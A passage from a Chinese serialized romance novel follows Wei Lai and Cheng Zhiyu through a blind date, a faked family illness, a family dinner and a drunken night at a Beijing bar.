其实房间里有她的朋友,也可以在楼下拿一张新房卡,他在心中低低叹息,还是给她打开房门。
下午还在她的朋友面前承诺“对她没有半点感觉”。
晚上就给她打开了房门。
唇边掀起一抹自嘲的笑,她的朋友说的没错,他的确是道貌岸然的伪君子。
程知聿嘱咐危涞,“你在这待着,我下去拿东西。”
“还会回来吗?”这样的话她听过很多遍,无一例外。
那人站在灯下,表情无奈想笑,“这是我的房间我不回来睡哪?”
危涞勉强安心,拉开椅子在他的书桌前坐下。书桌上没有多余的东西,书籍文件都分类摆放整齐,她拿起夹在书里的那只中性笔,在柔软的纸巾上模仿程知聿的笔画,写下“程知聿”三个字。
他的字行云流水。
她的字在纸巾上勉强算得上秀气,学不来,危涞丢下笔,把纸巾揉吧揉吧丢在一边。
书桌的角落放着一只粗糙的木雕,是月亮的形状,还用玻璃罩安装了一盏小灯,危涞揪起眉毛,想不通为什么这种东西会出现在程知聿的书桌上。
能被主人放在随手可见的地方一定有特殊含义。
是忘不掉的前女友还是有缘无份的白月光?
危涞拧着眉毛想,被开门声错开思绪。
回眼望住那人藏在暗光下的优越眉眼,心里酸涩欣喜的小芽情难自抑地生长,他真的没骗她。
程知聿提着一只纸袋子,开门的瞬间撞进对方炽热忐忑的眼中,他问道:“...怎么了?”
危涞轻轻摇头,视线往下移,看见他手里的那只纸袋。
程知聿把药袋子放桌上,“干活的时候擦伤了。”
其实她没问他,危涞抬起眼睛,亮亮的,“我帮你擦药。”
他呼吸一缓,没说好也没说不好。
危涞从袋子里拿出药膏,一手握着棉签,扯过椅子在他面前。
程知聿轻笑一声,侧过手臂躲开,“我自己可以。”
她不放手,目光如炬。
总是在这种事情上格外执着。
男人小臂上的伤口大约食指长,戏弄似的在她眼前一闪而过,“万一你让人再找我麻烦怎么办?”
他笑笑,眼里的戏谑不可忽视。
他说的是边子瑜。
“你怕呀?”危涞反问。
“一点点。”程知聿挑眉,毕竟她气焰嚣张地叫他离危涞远点的时候还是有点吓人的。
棉签轻缓地擦过伤口,他缩了一下,像在挠痒痒。
“你为什么送我香水。”
这个原因其实...很难启齿。说是给那天冲动的道歉礼物,太冠冕堂皇,衬得他太清高。
可事实确实是,她情绪激动,他也激动,做出了冒犯的行为,何况是在她有男友的情况下,程知聿不回答,低头,她乌色的长睫在垂下数道阴影,莫名问。
“你们在一起多久了。”
有些事情还是需要问清楚。
你们?谁和谁?
她和边子瑜?
“唔,小学?”差不多是这个时候吧。
程知聿缩了一下手,像被面前这过分的姑娘刺了一下,小学就在一起了。
“你不怕他生气吗。”他淡淡出声。
盯着她无比轻柔的动作,突然很想叫她出去。
“生气嘛……”边子瑜要是知道她和程知聿混在一起绝对会大发雷霆,但是,“不被她知道就好啦。”
不被他知道……
原来程知聿还是见不得人的那个。
他被气笑了,漂亮的手指从危涞手中抢过棉签,语气也很奇怪,“我自己来。”
“我帮你吧。”她护士患者的游戏还没玩够呢。
程知聿更是没好气,“你出去。”
好吧,危涞盯着他桌上那只勉强算得上月亮木雕的夜灯,“你能不能把它送给我?”
管他什么前女友白月光,他只要送给她,就是过去的事情,她是不会介意的啦。
“出去。”冷冷睨着她。
看来还是放不下。
“......”危涞被赶出门外,手里空空如也。
揉揉鼻子,好凶。
边子瑜揉着眼睛出来找她,看见她站在别人房间门口,“你站着这干嘛?”
她没多想,把危涞拉进她们房间,“深更半夜还乱跑......”
桌上那团纸巾隐约可以看见黑色的字迹,被人展开,歪歪扭扭三个字,“呵。”<
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次日,她的新手机接到第一通电话。
是朗禄的秘书打来的,他不好意思地同危涞说:“小姐……”
危涞气得没把手机砸了。
边子瑜提醒她:“你要是敢砸我就和你绝交!”
她咬牙忍住,望遍房间,没有一样是能砸的,只能朝边子瑜衣服上捶几下。
“......”反正捶不坏,随她去了。
“叔叔怎么说?要你回京市吗?”
危涞咬牙,大概朗禄知道是她给的小妮联系方式,资助小妮的第一个要求是让她亲自给他打电话。
他资助过那么多人,明明什么要求都没有,为什么偏偏到了她这里就这么困难!
这件事上边子瑜也不好说什么,危涞前二十二年吃穿不愁,但她花钱大手大脚所以也仅限于够吃够喝,她自己在戏剧院赚的那点连自己都养不活。
更何况朗禄停了她的卡。
母亲给她设立的基金还没生效。
她要是有能力早都自己资助小妮了,哪还需要像朗禄求助。
其实说白了,是她还抱有希望。
借着资助小妮的机会给双方一个台阶下,朗禄把妈妈的耳钉拿回来,她也不再耍脾气。
“我不回去。”真以为她没地方找人了?
危涞脸色不好,举着手机打电话,“喂,小姨……”
看她挂断电话后终于露出笑容,边子瑜叹气,“你就有点心机不行吗?”
“叔叔就你一个女儿,你学乖点在他公司随便找个活干,他开心了退休后什么不是你的?”
何必像这样到处求人?
她如今和朗禄的关系这么差,万一他真的和那个薛什么领证结婚,吃亏的只有危涞。
危涞对这些不感兴趣,当初就是为了气朗禄才会毕业留在英国,还进入了戏剧院。
再说。
“爷爷不会允许的。”
他说过,他的孙女只有她。
边子瑜不再劝她。
程知聿过完几天假期又开始忙。
程萍总算在某天中午吃饭的时候喊住他,“下周六空出来喽,我替你约了人,这姑娘真挺不错的,你必须要见!”
程知聿抓着外套准备出差,应付两声。
周六。
程萍果然催他出门。
“去做什么?”程知聿完全不记得和她约定过见面,又或者说,他出差的那天忙得连程萍说了什么都不知道。
程萍拍他一掌,“你这死孩子。”她还要继续骂,看了眼表,见时间不多,催着赶着程知聿出发。
“我今天还有事,改下次吧。”他佯装看了一眼日程表,很为难的样子。
被程萍抢过,表情严肃,“每次都说下次,别想用同样的话糊弄我,我就不信你有这么忙,公司离了你还不能开了?”
程知聿头疼,“别念了师傅。”
他去还不行吗。
程萍约的地点在过街桥边的茶楼里。
程知聿深深叹气,喊纪成安替他得了,反正他整天嚷嚷着要找女朋友。
纪成安曾经有个很相爱的女友,因为他的工作原因和他分手,他也明白自己工作危险,她要安稳的安稳他给不了,只能分手。
嘴上从不提前女友,这么多年也没见再谈。
“你好?”长发女生背着包温婉地笑,“是程阿姨的侄子吗?”
15. Chapter 15
“对。”
他回过神来,对方已经在对面坐下。
“我叫何书晴。”她表情羞赧,程阿姨说他长相出众时她不以为意,相亲的话术多是夸张成分在,谁当真才是真傻。
可是见到程知聿本人,何书晴才发现程阿姨没有夸张,反倒存在收敛的成分。
她抬眼满意打量,28岁未婚,长相周正,有车有房。
“程先生是做什么工作的?”何书晴问。
程知聿告诉名字,她倒吸一口凉气,大公司啊,弟弟985大学毕业,留校读研,成绩一直名列前茅,却在第一轮面试就被刷下来。
他这样的条件怎么还要相亲?
何书晴想:难道是家里要求太高?
可她也只是个普通小学老师,要是要求高的话怎么会介绍他们相亲。
“你不上班的时候都喜欢干些什么?”何书晴抿了口茶,接着问。
“看书,爬山,再空的时候和朋友聚聚。”
也没有不良嗜好。
期间一直是何书晴在问,程知聿回答,却从不主动向何书晴询问。
她问得差不多,把头发撩在耳后,提示他,“你也可以问问我的情况。”
他总该对自己有感兴趣的地方才会来相亲。
程知聿礼貌看她,眼神动作都很疏离,他猜到姑姑一定没和她说明白自己的情况。
“我叫程知聿,今年28岁,我妈在我四岁的时候和别人跑了,我爸赌博,欠了几十万至今不敢回家。”
何书晴一滞,没想到他没有询问她的情况,更没有想到他用一句话轻轻带过自己的家庭。
她不知道这些,如果知道大概也不会和程知聿见面。
他反倒自己说出来了。
看见何书晴的反应,程知聿了然地笑,他早知道会这样。
“我......”何书晴欲言又止,什么都没说又只能闭嘴。
她要说什么?
说她不介意,说这些都没关系,他已经走出来了?怎么可能!
他既然愿意重新揭开伤疤告诉何书晴实情,就是在告诉她,他并不像表面看起来那样光鲜。
同样,他也在给她选择的机会,或者。
让她主动退步。
何书晴沉默,“抱歉。”
她不愿意栽进这个无底洞。
程知聿理解,喊来服务员买单。
临走前,何书晴喊住程知聿,总觉得自己说这话没道德,“就算不能成为一家人,我们还能当朋友。”
程知聿付之一笑,他姑听见这句话能把他腿打断。
“何小姐慢走,注意安全。”
何书晴再一次喊住他,“哦对了,你带我去你家吧。”
“有个东西,我妈托我转交给程阿姨。”
……
康贻已经耍了几天的脾气,从程萍把她头上的花辫子拆掉开始。
程萍喊她吃饭,她不理。
喊她写作业也不理。
甚至把被褥搬到外婆房间去,林秀禾和她睡了几晚上受不了,这小孩踢被子,盖了又踢,踢了又盖。
她也几晚上没睡好觉。
林秀禾拍拍女儿的手,这娘俩偏偏就是没遗传她的好品性,见好就收,互相低个头不行吗?
非得这么犟。
她一把老骨头夹在中间难受。
程萍直接了当,“没得商量,哪有这样的?她才几岁就开始想谈恋爱?”
林秀禾只能去哄另一个小的,她比程萍更激动,“我凭什么给她道歉!她是我妈就可以随便翻我的东西吗!”
“好了好了……”都不愿意低头,她说了也白说。
林秀禾转头撞见危涞神色匆匆,一怔,“这是去哪呀?”
危涞只带了几件需要的东西离开,不知道还会不会回来,只是请林秀禾保存她的房间,如果没办法回来就找时间叫人把行李寄回京市。
林秀禾点头,这是应该的。
当初说要给她免除房费,这姑娘没答应,说免费的东西没保障,硬是把房费付清了。
他们收了钱,哪怕危涞不在也是有义务替她保管的。
“那这几天我都给你房间挂上‘请勿打扰’的牌子,你什么时候回来?”
边子瑜一旁打车,“车来了。”
“还说不准,我们先走了奶奶。”
两辆车一前一后,边子瑜去拉前车车门,手停住,皱起眉头,里面气氛和谐,程知聿听何书晴讲话,嘴边衔着淡笑。
何书晴明白,他这样的人不适合做男朋友,他太出色,学历优秀,处对象难免会觉得自卑。但是爱情之外,他绝对是最适合的倾听者。
副驾车门被人突然打开,何书晴眼中闪过奇怪。
哪有人随便打开别人的车门?
其实是边子瑜粗心看错了车。
她不认识车里的女人。
可她认识程知聿,而她坐在程知聿的副驾上。
她也看出了两人之间的和平氛围。
“......”
边子瑜轻骂了声,她就知道程知聿不是什么好东西,骑驴找马,什么时候不好,还非得挑今天。
程知聿本来没什么可心虚的,对上边子瑜谴责的眼神。
“……”头隐隐作痛,总觉得压力很大。
臭不要脸的死渣男。
她冷笑一声,脚尖一踢,把行李箱踹开,好让危涞看得明白些,她早说过这种男的要不得。
她自己看清楚了也就好了。
边子瑜的身形移开,露出身后的那人。
她站在路边的石阶上,今天没有化妆,唇色淡白,白净的脸被风吹得微微红。和边子瑜一样,脚边都放着个行李箱。
她显然也看见程知聿车上的女人,长发飘飘,温柔似水。
很漂亮。
和危涞不是一种类型。
她看完了何书晴,又抬眼去看程知聿,他今天没再穿西装了,换了身休闲打扮,但从细节上看得出正式。
盯着他,然后莫名其妙地笑了,两颊的淡红更加明显。
郎才女貌,天生一对。
看来程老板是好事将近。
怪不得他要把她赶出他的房间呢。
“好歹邻居一场,程老板结婚的时候别忘了给我发请柬。”
危涞仰着脸对程知聿笑,表情恣意。
她心情好了兴许会给他包个大红包,不过。
还是请人在他的婚礼上唱一出《秦香莲》的几率大点。
她平静的语气像在陈述“今天天气很好”,可事实是今天预报有雨,此刻乌云密布,是雨水前夕的预告。
她“真诚”地祝福他,听起来很不走心。
比陌生人的祝福还要敷衍。
分明那天晚上他们凑得那样近,她浓密的睫毛几乎要落在他的小臂上,呼吸相交,也曾有过暧昧的时候。
危涞脱离地很快。
什么狗屁香水,谁爱要谁要,她不要了。
边子瑜认错了车,她没有。
司机帮她们把箱子搬上车,危涞被人扣住手腕,他轻而易举把她的腕骨圈在手里,像害怕她逃跑一样圈得更紧,“你去哪?”
程知聿像她那天问他“还会不会回来”那样问。
可是她去哪,还回不回溪江又和他有什么关系。
这里又不是她的家。
危涞拂开程知聿的手,璀璨一笑,却还不忘记向惊诧的女人解释,“别误会,我和他没关系。”
“Congratulations。”
她对着他们。
大方地祝福。
头疼,比姑姑奶奶两个人加在一起在他耳边念经的威力更大。
何书晴谨慎开口:“没事吧?”
他
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有女朋友?
那还来相亲。
可她不是说和他没关系吗?
何书晴搞不明白了。
“需要我和她说明吗?”她无意介入他们的感情,可现在确实带去了不必要的麻烦。
那辆车子消失不见。
“不用。”
程知聿少见地露出烦色,早就该让纪成安替他相亲的。
却也明白危涞提着箱子不是因为他负气离开。
换句话说,他在她心里远没有那么重要。
如果单纯是因为看见他和何书晴在一起生气,他的下场没这么好看,说不定会被人抓着领子甩巴掌先。
“今天麻烦你了。”
程知聿苦笑,他还没为她有男友还勾着他不放这件事生气。
甚至让他当小三。
她怎么就生气了?
几点雨水坠下。
划过窗户边。
边子瑜见她一言不发,也只能无力地安慰:“别担心,爷爷没事的。”
朗禄清早给她打的电话没接,转发消息。
“爷爷生病了。”
他知道她一定会回去。
老人家有点小病小痛很正常,但能让朗禄主动找她,估计不是小病。
危涞从收到消息起那刻就绷紧了弦,给爷爷打电话没接,除了睡觉时间,她的电话他一定会接。
她攥紧了手。
脸色苍白。
无助又彷徨。
她不想再失去另一个爱她的人了。
边子瑜叹气,只能一遍遍安慰。
“会没事的。”
“会没事的。”母亲躺在抢救室的时候她听过这样的话,最后还是出事了。
她不愿意回想,光是触及边缘,封存的记忆就开始泛痛。
深深的叹息,平日里最不屑的神佛成了此刻唯一的稻草。
京市。
朗岐山拄着拐杖看球,遗憾地拍脑门,“哎呀!就差一点!”
“到我了!”朗岐山丢开拐杖,拿起门球杆,俯身,瞄准,轻推杆。
“爷爷!”
挥杆的老人被喊声吓得一激灵,用力失常,硬塑料球和矮球门擦边而过。
“不行不行,这杆不算!你们谁的孙女找爷爷来了?快带走,别影响我发挥。”他一贯耍赖皮。
队员们发笑,“老朗,你还是看清楚是谁的孙女吧!”
危涞气得发抖,什么生病,都是这心机老头装的!
演技真好,今年的金扫帚奖应该颁给他!
危涞拎起朗岐山的拐杖,脸色黑得可怕。
朗岐山一僵。
没了拐杖不方便,又觉得在老朋友们面前丢了面子,陪笑:“我孙女…太久没见想我了,你们玩,你们玩。”
“快去吧。”都憋着笑。
他颤颤巍巍去追。
危涞心里嘲道:还装呢,刚打球不是精神得很,哪有腿脚不灵活的样子。
还是心软,停下来等他。
表情依旧不好。
“您哪病了?”至于撒谎骗她。
明知道她最害怕这些。
朗岐山开始装病,“哎呦哎呦”叫唤不停,一问他,“这痛不痛?”
“痛!”
“这痛不痛?”
“这特别痛!”
百分之三百装的。
心里的大石头落地,还好是装的。
“您拿朗禄的手机给我发的消息吧?”危涞开车,毫不留情地戳穿。
不用想也知道。
朗岐山一问三不知。
危涞把他在别墅门前放下,打着方向盘离开,“改日再来看您。”
她可不想遇见碍眼的人。
说什么来什么。
危涞真恨自己这张嘴,怎么好事没有,坏事成堆?
薛英牵着小孩出现在转角处。
16. Chapter 16
见到危涞的一刻,尴尬地不知道摆出什么表情。她身边的小孩似乎还记得这个可怕的姐姐,鼻子一吸眼泪就要落下来。
他害怕地抓紧妈妈的手。
薛莹把孩子往身后藏,怕她的怒火殃及,讪笑道:“小涞回来了......”
“晚上留下来吃饭吧?想吃什么我去买——”
看她的做派早已经把自己当作这家的女主人,而她是个远道而来的客人。
危涞冷笑,她实在没有在留下来的必要,擦肩而过。
见她的车子离开,薛莹叹气,她的压力很大,一来知道危涞对自己的态度,二是这些太太圈里里的人压根不把她放在眼里,虽然说朗禄已经带她露过面,每次的聚会为了给他一个面子也会邀请薛莹,但。
没有人承认她的存在。
相熟的太太们几几扎堆,而她总是落单的那个。
她们看向薛莹的目光总是带着讥讽。
她无地自容,听见自己的名字总是和朗禄那位死去的前妻出现在一起对比,讲她风姿绰约,举手投足都是大家闺秀的典范,家世显赫,世间再找不出第二位如她一般的女子。
是女子却更甚男子,经商头脑惊奇,连某次峰会时薛莹也听过朗禄的一位合作伙伴同妻子说“那位危小姐真是天妒英才,可惜了。”
他们说的这些薛莹都不放在心上,死了就是死了,现在陪着朗禄的是她,“危小姐”纵使有天大的本事能从地底下回来?
她的想法在危涞离家的晚上被推翻。
两人大吵一架后,危涞负气离开,薛莹一边哄小孩,还念着要和危涞道歉,大过年的传出她这个后妈把亲女儿赶出去的话可不好听。
朗禄失手打了女儿一巴掌,失神望着颤抖的手掌,以往吵得再凶他也没有动手打过女儿。
“活该!”朗岐山骂他。
“我去和小涞道歉吧?”薛莹懂得看眼色,他分明是极后悔动了这巴掌,她说罢就要起身。
被朗禄拦下,“别管她。”
他在心里深深叹气,当天夜里就同薛莹道歉,万分为难叫她把耳环还回来,还说会补偿另一只更好的礼物。
纵使不舍她也要做样子,反过来安慰他,“是我不周全,不该在今天戴这只耳环,都是我的错,如果不是我小涞也不会这么生气。”
她很体贴,朗禄就对她更愧疚。
转日就搞定了小宝读书的问题。
薛莹的裤腿被抓紧,她耐心安抚道:“小宝别害怕,妈妈回家给你煮甜粥喝。”
危涞车窗全打开,冷风灌得耳朵通红,墨镜用作发箍卡在发间,头发乱舞。
她实在是不喜欢薛莹。
起初见她的第一面还保留着晚辈的礼貌,如今却连装都不想装。
那双眼睛......
不应该长在她身上。
危涞兜了几圈,手机弹出几个未接来电。
“什么事?”她的声音藏在风里。
边子瑜大骂,“你又抽什么风?!”
原来是手机绑定的心率测算传到了边子瑜手机上,“兜风啊。”
危涞笑,把油门踩到底。
巨大的轰鸣声盖过说话声音,依稀能听见她畅快的笑。
“疯子。”边子瑜骂她。
她笑得更欢。
危涞疯够了,老实把车停回自己的小公寓。
几个相熟的朋友知道她回来约着晚上出去喝酒,被危涞拒绝,回家了就要当好宝宝。
她晚上要回外婆家吃饭。
洗完澡出来,水滴“滴答滴答”落在地上,跟了危涞一路,她赤脚踩在地上,一边擦头发望着天边仅剩的最后一抹晚霞。
“......”
溪江的这个时候,林奶奶要拉开嗓子喊吃饭了。
康贻不知道寒假作业写完没有,估计开学又要罚站。
抽空看了眼手机,没有新的联系人,有的只是小姨喊她吃饭的消息。
没什么好舍不得的,你看,他们甚至连微信好友都没有。
她还得找人把东西拿回来。
麻烦。
吃饭的地方是她很喜欢的一家私房菜馆,偶尔一次和小姨提起过,她居然记得。
危涞把钥匙丢给服务员泊车,她穿了件大露背的长裙,外套只是装饰品,摇曳生姿,这么说,她其实和母亲一点都不像,至少在穿衣风格方面。
小时候调皮,玩捉迷藏总喜欢躲进她的衣柜里,捂着嘴巴“咯咯”笑,她的衣柜里大都是量体裁衣的西服,不用香水,外套上都是洗剂的气味。
爷爷和危涞说,她的母亲是个冷静严肃的人,危涞一直觉得他说错了,不然怎么会在她数到四十五的时候放轻脚步,“小涞躲在哪里?”
危涞捂着嘴巴,一点都不会伪装,甚至不知道自己早就暴露了,躲在衣柜里笑个不停。
危景媛无奈地笑。
这个小傻瓜。
数到五十五的时候,她会“唰”地打开衣柜,陪她演戏,“找到我的宝贝啦!”
危涞笑得合不拢嘴,从她的身旁溜走,被母亲一把拎起抓在怀里,“哼哼,小捣蛋鬼。”
想起来都是很久之前的事了。
这也是危涞为什么不常去外婆家的原因。
这是母亲的家,家里到处都有她的影子。
墙角两只“小土豆”挤在一起,左边一只稍胖的不满:“你挤到我啦!”
“嘘!嘘!你声音太大了会被发现的!”右边这只竖起小肉手,一脸严肃。
危涞无奈地笑,其实她的声音也不小。
小姨把两小只赶进包厢,笑着催促,“都在等你呢。”
外公外婆坐在主座,见她的第一眼就是心疼,“又瘦了。”
“哪有。”危涞坐下,他们每回都是一样的话,可她回国这些天不仅没瘦还长胖了。
“是得多吃点。”小姨帮着说话,“小涞长大了爱美正常。”
一时沉默,只有小孩搞不清楚状况,抓着鸡腿眼睛眨呀眨。
所有人都知道接下来要说什么,她长得太像危景媛,可眉眼动作间明显是两个人,外婆渐渐红了眼睛,危景娴“唉”了声,每年都绕不开这景象。
不见危涞又常常念在嘴上,这见面了总跑不脱哭一场。
危荣暠心疼外甥女,“有时间就多回来看看,在外面受了委屈要说,别憋在心里。”
朗禄带人回家的消息他们都知道,总担心她会被人欺负。
危涞听着,总不能说都是她欺负别人。
“知道的,外公。”她在长辈面前总是很乖。
“你今年没回家过年,这两个小滑头想你想得厉害,在饭桌上吵了不止一二次。”
“才没有嘞!”胖土豆举着咬了一半的鸡腿,“我都长大了,才不和姐姐吵架!”
女
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娃娃傲娇又可爱,摇着危涞的手,“我也没和瓜瓜吵架,我生气了都是直接揍回去的!”她扬起肉乎乎的拳头,小姨夫帮两个孩子擦干净嘴角的油渍,“还说没吵架,刚刚哭得哇哇叫的是谁?”
“不是我!”
“不是我!”
这两小孩总是在这个时候特别有默契。
刚还沉寂的气氛一下活跃起来。
临走时,危涞口袋里揣了几个大红包,危景娴和她并排走,“你别生外公外婆的气,他们就是这样——”
“知道的。”危涞外套穿在身上,她怎么不懂外公外婆的心呢,她是危景媛的女儿。
危景媛也是他们的女儿。
不生气就好,危景娴笑,“也别把他们说的不当回事,在外面受了委屈——”
“要回家告状——”危涞拉长嗓子,他们真把她当小孩儿了。
“交男朋友没有?”小姨夫终于哄睡了小孩,得空打趣她。
危涞没办法,“哪里来的男朋友?从天上掉下来不成。”
“可别带个外国佬回家。”危景娴跟着说。
连外公外婆也同意,“嫁到国外太远了。”
她堆外国菜没兴趣啦,再者说,“可以让人家当上门女婿的呀。”
周遭停了一下,真的替她考虑起可能性来,“那得找个模样好看点的。”
危涞哭笑不得。
原来他们一家都是颜控。
安分了几天,危涞总算想起被她遗忘在溪江的行李,打过电话。
她记得今天是小云儿上班。
“嘟、嘟……”被人接起,“你好。”
“……”这绝对不是小云儿的声音,问她怎么知道?
小云儿是女的。
他的声音低沉,穿过听筒。
程知聿。
危涞知道是他。
她正思考要不要挂断,突然想起自己是个被停了卡暂时没工作的穷人。
为了省点话费。
她不想重新打过,用最冷漠无情的声音,“我的东西帮我寄回京市。”
对面沉默几秒,“很多东西,很贵。”
他会连这点钱都拿不出来?危涞不信,咬牙:“我付。”
他又不说话了。
“怎么转。”
非要和她掰扯这点钱。
“给我卡号我转给你!”
“行。”他像是笑了,酥酥麻麻的电流声穿过耳畔。
十一位的数字,搜出来一个微信头像,当她傻吗?
她才不加。
危涞放着没理,微信弹出红点,是新的联系人。
头像很眼熟。
她斜斜盯着,“呵。”
他终于抽出时间敷衍她了。
危涞没有同意,只在招呼栏里打字,“你有没有道德?”
还敢加她微信呢。
程知聿转问:“你呢。”不是打定心思让他当小三吗。
不通过是不是心虚。
毕竟说过“不被他发现就好”这种话。
他还敢骂她?
危涞气笑了。
改变了主意。
“我的东西很贵,快递运过来不放心,你找个人给我送过来。”
“最近可能不行。”对方顿了一下回答。
有点忙。
危涞就不再理。
反正她没有道德,爱来不来。
17. Chapter 17
程知聿的消息没再来过,危涞只当他不愿意,时间久了也就忘了。
这天在边子瑜常去的酒吧喝酒,她的标配,一瓶酒一件衣服。
今天的主题是角色扮演。
边子瑜身边那位上衣已经脱干净,皮肤白得可怕,眼神妖冶,腰间还系着一根银链条,从腰窝上垂落。
“喔~~”
周围的人都在起哄,危涞懒懒靠在一边,扯唇,排骨有什么好看的。
她的车钥匙摆在桌上,昏昏欲睡。
几个戴兔耳朵穿制服的欲靠近都被她冷淡的反应打回来。
简直是破坏氛围感的神人。
边子瑜难得的兴致折下去一半,也没了开酒的想法,像事后一根烟瘫在软皮沙发上。
毕竟不能怪闺蜜破坏气氛。
要怪只能怪他们收了钱还不努力。
“换人换人。”经理拍掌,今天的营业额还没达标,不能放弃。
关系一般的人朝危涞开玩笑,“今天的提成全靠这位,没让她高兴,我们谁都不开酒。”
有几个连面都没见过的跟在后面说话,危涞掀眼,笑靥如花,柔软的唇边沾上酒色,坐得东倒西歪,她的短发烫成了卷,颈间的项链光彩夺目,衬得整个人更加娇俏。
她还是对自己有信心的好吧。
再一抬头,穿制服的换了一批,这批是西装暴徒,可惜身子骨太小,没撑得起来,她无聊极了,“换人。”
经理再拍掌。
他不认识这位坐在最中间的小姐,但旁边几位都是喊得上名号的大人物家的女儿。
捧着她,她的身份更甚。
又一批奶油小生。
脸上的妆比她的还厚,拜托。
她完全的上位者姿态,漂亮的手指撑着下巴,轻轻点在颊边,眼神居高临下,随意地挑选眼前的被人精心装扮的礼物。
她不满意。
换了一批又一批。
她是派对的主人,在她没有尽兴之前,所有人都不会喊停。
哪怕边子瑜是常客,她组局的目的就是为了让危涞开心,自然是由着她来。
她斜斜靠在危涞肩上,两张不同的脸蛋,一种完全相同的俯视目光。
在“商品”的每一张脸上滑过,最后的评价是“好无聊,到底有没有点新意。”
经理留下冷汗,店里的头牌听到评价躲在墙角哭得妆都花了,这几位小姐居然还说没意思,他实在没办法,总不能让他上吧?
包厢门被敲响。
边子瑜抬抬下巴示意可以开门。
服务生打扮的男生说了声“打扰”,同经理轻声说话。
很青涩秀气的面孔。
胜在眉眼优越。
危涞看清他的长相,心跳快了几下,“他叫什么名字?”
经理一呆,有些为难,但还是得罪不起这几位,在他耳边吩咐,“伺候好了今天的工资加五倍。”
服务生指尖泛白,眼神不知所措,他家庭困难,母亲卧病在床,实在走投无路才到会所里打工,上班时说得清楚,他不用陪酒。
怕耽搁她们的兴致,经理的态度更强硬,“人民医院住院部二十九床,你已经拖欠了半个月医药费,听话点,我再给你加。”
危涞盯着少年的眉眼饶有兴趣,给了他充足的时间考虑。
思虑良久。
他最后还是点头。
清瘦的身形走出阴影,头发清爽,看起来是读大学的年纪,总是低着头,连看她一眼都不敢。
“抬起头来呀。”危涞的手指擦过他的下巴,他不敢躲,颤抖着抬头,惹得危涞轻笑,只是眼神依旧躲避,都没看她,脸就红了大半。
眉眼优越,却胆怯地露出自己的青涩。
边子瑜皱眉,这人,
怎么长得这么像......
算了。
边子瑜不管了,她开心就好。
对着经理喊:“把那个躲在墙角哭的头牌喊进来。”
头牌哭花了妆,听见经理喊,又红着眼睛补。
“你能不能喝酒?”危涞问蹲在地上的人,扫过他额上的短发。
周围人的目光都落在他身上,他窘迫地无地自容,点头,又觉得不礼貌,“可以。”
为了母亲的医药费,他必须得喝。
“说话要看着别人的眼睛。”手指扫过他的眉眼间,很痒,他抖着睫毛要躲,生生忍住,含怯的眸子大着胆子盯她一秒,撞上她好玩的视线,脸到后脖颈都红遍了。
她好漂亮。
动作虽然轻浮,但好像和别的客人不一样。
男生这么想着,下巴被人用力掐紧,冰凉的液体从上倒下,打湿了他的衬衫制服。
到后来不用危涞哄,他也能红着脸喊出“姐姐”两个字。
她醉得差不多,手机挤在夹缝里亮屏,“姐姐,有电话......”
危涞面若桃花,眸光潋滟,“你帮我接呀。”
这、不好吧?
他把手机捏在掌心里,最终还是接了,“喂?”
对方听见声音,愣了一下,很有礼貌地询问地址,说是要给她送东西。
服务生不敢耽误事,问过危涞,把会所地址告诉对方。
最后散的时候,夜已经很深了。
他换了干净的衣服小心搀扶着危涞,手很老实,隔着她的大衣,耳尖泛红。
他听见别人喊她“危小姐”。
偷偷用手机查过她穿着的大衣价格,他要打很久的工才能勉强买得起。
也从经理口中听说,“危小姐”是惹不起的人,店里的头牌今天丢了面子,当着所有人的面嘲笑他:只要攀上高枝,这辈子吃喝不用愁。
他只当这是一场很短暂的梦,但人总是控制不了心里的妄念。
呼吸慢下来,盯着她长长的睫毛,她真的好漂亮,脸上看不见一点瑕疵。
屏息,贪婪地希望这一刻能再长一点。
“......”
男人的身形在路灯下被拉得很长,冷峻的眉眼望着不远处被人架住才能站稳的女人沉默,他比危涞身边的男生还要高出一些,眉眼优越,气质沉着,明明和他有着相似的眉眼,却截然不同。
程知聿盯着靠在别人肩膀上不省人事的女人,心里的傲气在这个时候冒出来。
他就是犯贱。
忙完家里的事马不停蹄赶来京市,为的就是看她在别人怀中安然入睡的这一幕。
搀着危涞的男生年纪不大,眉眼熟悉,和他对视的瞬间匆匆低头,程知聿气着断定,这不是危涞家中那位正主。
那他就可以可以做出前辈的姿态来了。
程知聿把人拦进自己怀中,“麻烦你了。”表情冷傲,根本没有道谢的意思,更像是在是在宣告主权。
少年站在灯下,空荡荡的怀里吹进冷气,他白了脸,明白“危小姐”在所有人中选出他的原因。
“不麻烦。”他低着头说。
连着包带车
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钥匙交给程知聿,“我就先走了。”
他仓促离开。
这盏灯下只剩下两人。
怀里香气萦绕不去。
程知聿搀着怀里醉得认不清楚人的女人,掐紧了她的包链子,浑身酒味。
“醒醒。”他像恶作剧一样捏她的脸,没有收敛力气,印出两个红印子。
危涞睡得舒服,被人打搅了美梦不满拂开这双手,“你好烦......”
程知聿皱紧眉头,他烦,所以才几天就找了个和他长得一样的?
手掐在女人纤纤一握的腰间,气得发笑,奶奶因为康贻的事被气得进医院,他忙完这遭就马不停蹄赶来京市,她是怎么对他的?
小没良心。
转头就找了个新的。
像是上了瘾,手指流连在女人乌黑的发间,最后停在耳畔,靠近软肉,一下一下地揉。
危涞再度被人从睡梦中吵醒,眼皮几乎黏在一起,奋力睁开只看见一个模糊的影子,优越的眉眼,她还以为是刚刚的服务生,低配版的程知聿。
她换了个动作,更舒服,还嘱咐:“再吵信不信叫人把你开了。”
好厉害的小姐。
看来这种把戏她玩得熟练。
她越是想睡,程知聿就越不让人如愿,抱着人找到车,轻轻卧倒在副驾位上,看着姣好的面庞,恶劣的心思忽起,他手里忽然用力一下,被人烦恼打开手。
“呵。”
兴意未尽。
耳垂红了啊。
“我是谁。”他还偏偏要朝着沉睡的人发问,没有罢休的意思。
认不清人还睡得安稳。
她的心也太大了。
是觉得这个世界上都是好人,还是从小被保护得太好,没遇见过坏人。
他的视线停在那抹红的唇上,口红都被吃干净了,唇瓣却像新鲜樱桃的果肉。
程知聿盯着,喉间干涩,眉骨落下阴影,别扭移开。
他比她成熟、稳重,却仍不可控地被她蛊惑。
哪怕此刻她不是有意的,甚至是无意识的,他也明了。
她喜欢他的脸,那就够了。
成年人间的关系不需要考虑太多。
一拍即合,一拍两散。
危涞头疼得几乎炸开,睡着后还噩梦缠身,酷似程知聿的服务生紧逼着她,不停追问“你究竟把我当做谁?”
扶着头,赤着脚踩在地上。
强烈的怪异感袭来,她向周围望。
“……”骂了声,这不是她家。
谁送她来的酒店?危涞喝得断片什么都想不起来,只记得梦里的低配版“程知聿”缠着她不放了。
胃里翻涌不止。
